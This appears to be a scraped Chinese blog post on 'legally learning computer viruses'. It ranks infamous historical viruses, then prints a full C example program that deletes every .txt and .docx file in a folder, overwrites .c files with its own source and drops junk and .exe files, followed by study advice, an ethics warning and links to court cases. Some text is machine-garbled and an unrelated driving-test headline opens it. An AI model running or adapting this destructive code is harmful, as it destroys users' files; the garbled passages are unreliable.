b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

科学的方法:如何合法学习计算机病毒

电脑杂谈  发布时间:2020-11-05 18:00:34  来源:网络整理

电脑病毒学习_电脑病毒学习

破坏计算机信息系统的罪行

根据《中华人民共和国》第286条,破坏计算机信息系统的罪行是指违反国家法规,侵犯计算机信息系统的功能或存储,处理的数据和应用程序的行为。或在计算机信息系统中传播具有破坏性,或故意学习'/>

第五名是红色代码(红色代码,2001年)

该病毒可以迅速传播,并导致广泛的访问速度降低甚至被阻止。这种病毒通常首先攻击计算机网络的服务器,被攻击的服务器将根据病毒的指示将大量数据发送到政府网站,最终使网站瘫痪。它造成的损害主要是网页的更改。有迹象表明该蠕虫可以修改文件。它于2001年7月13日爆发,造成了全球26亿美元的损失。

电脑病毒学习

第四只熊猫烧香(2006)

家用计算机基层计算机播放器的计算机水平如何?也许从熊猫烧香中可以看出。该病毒是由湖北李军制造的蠕虫。据说互联网过去已被广泛使用,并且有无数的中毒用户。从可用渠道可以了解到,该国估计有数以百万计的计算机受到了毒害,其中最强大的部分是,该病毒的变种数量接近100,无法预防。

电脑病毒学习

第三名冲击波病毒(2003)

也许这种冲击波病毒还没有达到令人恐惧的程度,但是却给人们带来了很多麻烦。我相信,许多1980年代出生的人都应该有深刻的印象。许多同学的计算机已感染了这种病毒,其结果是它们将自动关闭,并且当关闭该病毒时,将弹出一个倒计时。不管您使用什么手段,都无法结束它。

电脑病毒学习_电脑病毒学习

电脑病毒学习

第二名游戏小偷(2007)

据估计,这是另一种导致许多老司机翻车的网络蠕虫。 2007年是网络游戏非常热的一年。当时有许多著名的网络游戏,例如《魔兽世界》,《完美世界》和《正途》。中毒可能导致游戏帐户和游戏设备的丢失,这使许多互联网成瘾者感到担忧。已经很久了。那时,我整夜都在担心网络游戏密码被盗,但我仍心有余fear,但后来没有中毒,我的帐户密码在网吧被盗,我停止在网吧玩游戏。

电脑病毒学习

第一名CIH病毒(1998年6月)

在破坏力方面,CIH病毒可能是当之无愧的第一名,它也可以被视为计算机病毒史上的“著名历史”。 CIH病毒最强大的功能是它可以直接损坏计算机硬件,而不仅仅是停留在软件级别。简而言之,它可以直接影响计算机主板的BIOS,从而使计算机完全报销并且无法启动。当时它是如何传播的?互联网才刚刚起步,所以互联网传播不大,并且更多通过盗版CD逐渐传播。

电脑病毒学习

直到今天,新的病毒变种仍将继续破坏互联网。建议所有网民及时更新Windows漏洞。中毒后,Windows勒索软件将删除原始文件并加密复制的副本。使用某些恢复工具,我们可以检索已删除的原始文件,从而安全地恢复数据。

上面已经介绍了该病毒,因此我们如何学习它(请不要在违法活动中使用它)

编写病毒是一种高级技术。真正的病毒通常具有传染性,隐性(也称为潜伏性)和破坏性。也有许多类型的病毒,例如,感染可执行文件的病毒,宏病毒等。但是原始的最具破坏性的病毒是感染可执行文件的病毒(例如CIH病毒),这些病毒通常以汇编语言编写。许对病毒充满好奇和向往,但由于学习汇编语言的困难,他们常常灰心丧气。

在正常情况下,病毒在结构上分为三个功能模块:感染机制,触发机制和有效负载(一种骚扰计算机的方法)。

计算机病毒是用C,delphi,汇编语言和机器代码编写的。例如,“熊猫烧香”病毒就是用Delphi编写的。

让我们首先描述一下我认为真正的病毒应该具有的特征:

——病毒会感染二进制可执行文件
——病毒代码必须是独立的,它独立于其他文件、代码库、程序等
——被感染的宿主文件能够继续执行并且传播病毒
——病毒在不损害宿主文件的情况下表现得像一只寄生虫。受感染的宿主应继续像它被感染之前一样执行

示例

/*This is a flag:start*/
#include
#include
#include
#include
#include
#include 

#define INFECT_PATH "E:\\TMP"
#define DELETE_FILE1 "E:\\TMP\\*.txt"
#define DELETE_FILE2 "E:\\TMP\\*.docx"
#define CREAT_EXE1 "E:\\TMP\\worm.exe"
#define CREAT_EXE2 "E:\\TMP\\virus.exe"
#define Targetfile "E:\\TMP\\*.c"
#define Virusfile "E:\\E_KILL.c"

void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
    path=INFECT_PATH;   
    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
}
void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        copyfile(Virusfile,s[i]);
    }
}
void Remove(void)
{
    int done;
    int i;
    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
}
void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
void InfectFile(void)
{
    int done;
    int i;
    struct _finddata_t ffblk;
    char *documenttype = Targetfile;
    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );             //制造垃圾文件
    CreatEXE( );                //制造可执行程序
    Remove( );                  //删除文件
    InfectFile( );              //感染文件
    system("pause");
    return 0;
}

电脑病毒学习_电脑病毒学习

病毒的目的:

1.将指定目录中的所有.c文件感染到指定内容(不将病毒代码复制/添加到.c文件中)。

2.删除此目录中的所有.txt和.docx文件。

3.在此目录中创建垃圾文件。

4.将.exe垃圾放置在此目录中。

要学习计算机病毒,您需要掌握至少一种编程语言,熟悉系统的基本安全性,了解文件格式,UPX Packer分析,具有反向分析和调试功能,并且需要计算机内存管理,程序操作原理和计算机对系统的基础知识有深刻的了解。这是一个长期的过程,需要毅力

当时,个人计算机安全问题主要是病毒和木马。可以说,那个时代各种病毒木马在个人计算机上猖ramp。这些病毒类型主要是蠕虫,传染性病毒和破坏性病毒。木马主要类型为黑客木马,后门下载器和远程控制木马(灰鸽子,Gh0st)。这时,黑客组织开始以利润为导向。这些病毒程序主要通过窃取受害者数据来牟利。例如,游戏帐户和密码,交换软件帐户和密码,远程控制受害者以窃取受害者的私人数据等。这些帐户,密码和私人数据可以在第三方网站上盗窃以牟利。从那时起,黑客组织就不再专注于令人眼花skills乱的技能,而是专注于利润。现在,随着时代的发展,出现了各种类型的恶意软件。这些恶意软件包括勒索软件,挖掘病毒,流氓推广病毒和僵尸网络。病毒,下载病毒,后门程序,银行木马,APT远程控制木马,秘密窃取木马等。同时,这些不同类型的样本家族统称为恶意软件

您还需要学习分析不同病毒的样本,并从这些样本中获取有价值的信息。这涉及捕获样品的能力。获取流行病毒样本后,您需要详细分析样本,提取样本中的病毒行为特征,流量特征等。病毒样本的分析主要采用静态和动态分析方法的组合。许多病毒样本使用各种对策,例如反调试,反沙盒和反虚拟化。这些高端样本要求使用机器,混淆,脱壳,加密,自修改代码,Rootkit等技术,这些学习器必须具有强大的反向分析功能。已经研究了这些技术,并且还可能在0day或Nday的各种日期中使用一些APT攻击示例,这要求学习者还具有漏洞分析和调试功能。病毒研究需要学习很多基本的安全知识。不同病毒样本研究的重点不同,所使用的攻击方法和数据获取方法也不同。病毒研究完成后,有必要跟踪病毒样本。如果它是流行的病毒样本,它将继续变异。从这些病毒的变体版本中,可以追溯到黑客组织或每个病毒家族的发展,并总结了该家族的用途,使用了哪些攻击方法,使用了哪些流行漏洞以及使用了哪些防病毒方法。在样本中,等等。

但是我们首先要学习的是道德和法律知识

我将在下面发布一些新闻供您参考

唐兴生和彭超因侵犯公民个人信息罪一审判决(2017)川0502刑初505#_判决书详情-企业搜索

图标

李军(“熊猫烧香”病毒的生产者)_百度百科

图标

与处罚:近年来最有争议的黑客裁决-FreeBuf Internet Security新媒体平台。

图标

Hacker篡改了海南大学的招生信息_新闻中心_Sina.com

图标

作为培训手入侵了300个网站,而在半个月内接受培训的“黑客”流下了遗憾...- FreeBuf Internet Security新媒体平台。

图标


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-331132-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...